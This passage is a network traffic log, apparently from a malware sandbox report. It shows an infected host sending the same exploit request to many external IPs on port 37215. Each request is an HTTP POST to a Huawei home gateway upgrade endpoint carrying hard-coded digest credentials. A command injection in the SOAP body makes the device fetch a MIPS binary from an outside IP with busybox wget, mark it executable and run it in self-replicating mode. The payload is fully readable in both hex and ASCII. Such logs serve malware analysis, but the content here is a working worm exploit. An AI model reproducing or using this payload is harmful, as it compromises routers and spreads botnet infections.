2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.14	51542	66.133.8.3	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:02.410515070 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.14	53792	197.95.27.148	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:02.410541058 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.14	59604	41.99.10.85	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:02.410541058 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.14	41482	157.88.41.229	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:02.410541058 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.14	47794	197.232.128.49	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:02.410541058 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.14	45018	50.0.188.147	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:02.410541058 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.14	33888	41.171.70.30	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:02.410541058 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.14	52068	157.245.238.163	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:02.410932064 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.14	45158	41.122.12.187	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:02.410932064 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.14	36238	76.199.109.54	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:02.410932064 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.14	40186	41.115.1.213	37215

Timestamp	Bytes transferred	Direction	Data
